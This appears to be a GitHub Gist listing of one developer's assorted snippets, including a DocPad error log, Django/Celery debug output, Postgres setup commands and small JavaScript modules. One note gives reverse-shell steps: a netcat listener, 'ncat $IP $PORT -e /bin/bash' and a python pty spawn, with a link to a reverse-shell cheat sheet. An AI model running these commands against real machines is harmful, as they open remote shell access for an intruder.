(precise)mikeumus@localhost:~/Downloads/Bevry/DocPad/Dev/extras$ sudo ./app generate
Casteasoft-zurb-foundation.docpad
info: Welcome to DocPad v6.74.0 (global installation: /home/mikeumus/Downloads/Bevry/DocPad/Dev/docpad)
notice: If everyone who saw this message donated $1/week, maintaining DocPad would become sustainable: http://docpad.org/donate
info: Contribute: http://docpad.org/docs/contribute
info: Plugins:
info: Environment: development
notice: DocPad is currently running without any plugins installed. You probably want to install some: http://docpad.org/plugins
info: Generating...
mikeumus bevry/extras ./app generate
https://github.com/mikeumus/extras/blob/docpad-6.x-dev/app.coffee#L400
warning: Feedr is parsing [http://i.vimeocdn.com/video/216759288_200x150.jpg] on [/home/mikeumus/tmp/282a76ec63fdd6e7c73cb41f3f000019.jpg-meta.json], parse failed SyntaxError: Unexpected token }
at Object.parse (native)
at /home/mikeumus/Downloads/Bevry/DocPad/Dev/extras/skeletons/balupton-website/node_modules/docpad-plugin-cachr/node_modules/feedr/out/lib/feedr.js:365:25
at /home/mikeumus/Downloads/Bevry/DocPad/Dev/extras/skeletons/balupton-website/node_modules/docpad-plugin-cachr/node_modules/feedr/out/lib/feedr.js:352:20
at evalmachine.<anonymous>:336:14
at /home/mikeumus/Downloads/Bevry/DocPad/Dev/extras/skeletons/balupton-website/node_modules/docpad-plugin-cachr/node_modules/feedr/node_modules/safefs/node_modules/graceful-fs/graceful-fs.js:102:5
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<link rel="import" href="../paper-slider/paper-slider.html"> | |
<polymer-element name="my-element"> | |
<template> | |
<style> | |
:host { | |
position: absolute; | |
width: 100%; | |
height: 100%; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
``` | |
mikeumus@celery-django-example:~/workspace (master) $ ./manage.py celery events --camera=djcelery.snapshot.Camera --loglevel=DEBUG | |
-> evcam: Taking snapshots with djcelery.snapshot.Camera (every 1.0 secs.) | |
[2015-06-20 19:38:37,974: INFO/MainProcess] Connected to django://localhost// | |
[2015-06-20 19:38:37,978: DEBUG/MainProcess] (0.001) QUERY = u'SELECT "djkombu_queue"."id", "djkombu_queue"."name" FROM "djkombu_queue" WHERE "djkombu_queue"."name" = %s LIMIT 21' - PARAMS = (u'celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4',); args=('celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4',) | |
[2015-06-20 19:38:37,979: DEBUG/MainProcess] (0.000) QUERY = u'BEGIN' - PARAMS = (); args=None | |
[2015-06-20 19:38:37,980: DEBUG/MainProcess] (0.001) QUERY = u'INSERT INTO "djkombu_queue" ("name") VALUES (%s)' - PARAMS = (u'celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4',); args=['celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4'] | |
[2015-06-20 19:38:37,991: DEBUG/MainProcess] (0.000) QUERY = u'SELECT "djkombu_queue"."id", "djkombu_queue"." |
Actually just follow this guide: http://sysads.co.uk/2014/07/install-final-term-terminal-ubuntu-14-04/
Follow install build guide here: https://github.com/p-e-w/finalterm#installation except GTK+3 is already installed[1].
sudo apt-get install libgee-0.8-dev libmx-dev libunity-dev keybinder-3.0-dev libnotify-dev libclutter-gtk-1.0-dev libclutter-gst-2.0-dev
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
-
Make sure you have netcat and nmap installed. I search for them in synaptic myself
sudo synaptic
-> Search: "nmap" and "netcat traditional" -
sudo nc -l 443
# to listen on port 443 -
ncat $IP $PORT -e /bin/bash
or/bin/sh
# reverse connection, example: ncat x.x.x.x 443 -e /bin/sh -
python -c "import pty; pty.spawn('/bin/bash')"
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
`sudo python ./manage.py runserver` | |
``` | |
mikeumus:~/workspace (master) $ python ./manage.py runserver $IP:$PORT | |
Performing system checks... | |
System check identified no issues (0 silenced). | |
November 22, 2015 - 01:49:56 | |
Django version 1.7.4, using settings 'coderbounty.settings' | |
Starting development server at http://0.0.0.0:8080/ |
Gist shortlink: https://git.io/vV0xB
Official Living Doc for Postgres in C9: https://community.c9.io/t/setting-up-postgresql/1573
- http://stackoverflow.com/questions/28177912/postgres-database-setup-on-cloud9-asks-for-sudo-password
- http://stackoverflow.com/questions/11919391/postgresql-error-fatal-role-username-does-not-exist
$ sudo -u postgres -i
orsudo sudo -u postgres psql
<-- use this one in C9$ sudo -s
thensudo -u postgres psql
orsudo su - postgres
$ createuser -d -P -s starseed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"use strict"; | |
var fs = require('fs'); | |
var mpath = require('mpath'); // For saving the query from the API json: https://www.npmjs.com/package/mkdirp | |
var mkdirp = require('mkdirp'); // For creating folders that didn't already exist: https://www.npmjs.com/package/mkdirp | |
var menuItem = require('./menuItem.js'); | |
var chainyJsonDoc, name; | |
/** | |
* A module using Bevry's Chainy.js to create DocPad | |
* files via json pulled from an API that follow the following format: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Simple Int Array Flattener/De-nester in ECMAScript 5! | |
// Interactive version on Plunker: https://plnkr.co/edit/fjqPJmzxpTFQu8VsToXK | |
(function(){ // Immediately Invoked Function Expression (iife) for safety closure. | |
var firstArray = [[1,2,[3]],4]; // Test array #1, 3 nests deep. | |
var secondArray = [[1,2,[3,[5]]],4]; // Test array #2, 4 nests deep! | |
var flatten = function(arr){ // Our flatten function take an array. | |
var flatArr = []; // New empty array. |